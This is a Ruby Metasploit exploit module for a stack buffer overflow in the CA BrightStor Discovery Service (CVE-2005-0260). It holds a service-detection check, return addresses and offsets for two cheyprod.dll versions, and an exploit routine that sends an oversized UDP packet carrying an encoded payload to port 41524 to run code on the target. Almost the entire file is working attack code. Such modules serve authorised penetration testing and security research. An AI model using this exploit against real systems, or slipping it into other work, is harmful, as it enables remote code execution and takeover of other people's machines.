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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Udp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'CA BrightStor Discovery Service Stack Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a vulnerability in the CA BrightStor
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        Discovery Service. This vulnerability occurs when a large
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        request is sent to UDP port 41524, triggering a stack buffer
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        overflow.
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      },
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      'Author'         => [ 'hdm', 'aushack' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2005-0260'],
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          [ 'OSVDB', '13613'],
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          [ 'BID', '12491'],
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          [ 'URL', 'http://www.idefense.com/application/poi/display?id=194&type=vulnerabilities'],
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        ],
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      'Privileged'     => true,
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      'Payload'        =>
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        {
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          'Space'    => 2048,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'      => %w{ win },
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      'Targets'        =>
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        [
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          [
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            'cheyprod.dll 12/12/2003',
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            {
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              'Platform' => 'win',
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              'Ret'      => 0x23808eb0, # call to edi reg
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              'Offset'   => 968,
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            },
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          ],
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          [
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            'cheyprod.dll 07/21/2004',
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            {
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              'Platform' => 'win',
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              'Ret'      => 0x2380a908, # call edi
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              'Offset'   => 970,
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            },
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          ],
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        ],
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      'DisclosureDate' => '2004-12-20',
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      'DefaultTarget' => 0))
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    register_options(
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      [
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        Opt::RPORT(41524)
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      ])
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  end
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  def check
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    # The first request should have no reply
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    csock = Rex::Socket::Tcp.create(
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      'PeerHost'  => datastore['RHOST'],
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      'PeerPort'  => 41523,
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      'Context'   =>
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        {
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          'Msf'        => framework,
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          'MsfExploit' => self,
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        })
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    csock.put('META')
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    x = csock.get_once(-1, 3)
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    csock.close
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    # The second request should be replied with the host name
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    csock = Rex::Socket::Tcp.create(
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      'PeerHost'  => datastore['RHOST'],
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      'PeerPort'  => 41523,
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      'Context'   =>
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        {
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          'Msf'        => framework,
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          'MsfExploit' => self,
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        })
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    csock.put('hMETA')
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    y = csock.get_once(-1, 3)
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    csock.close
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    if (y and not x)
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      return Exploit::CheckCode::Detected
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect_udp
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    print_status("Trying target #{target.name}...")
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    buf = rand_text_english(4096)
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    # Target 0:
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    #
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    # esp @ 971
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    # ret @ 968
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    # edi @ 1046
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    # end = 4092
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    buf[target['Offset'], 4] = [ target.ret ].pack('V')
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    buf[1046, payload.encoded.length] = payload.encoded
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    udp_sock.put(buf)
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    udp_sock.recvfrom(8192)
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    handler
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    disconnect_udp
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  end
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end
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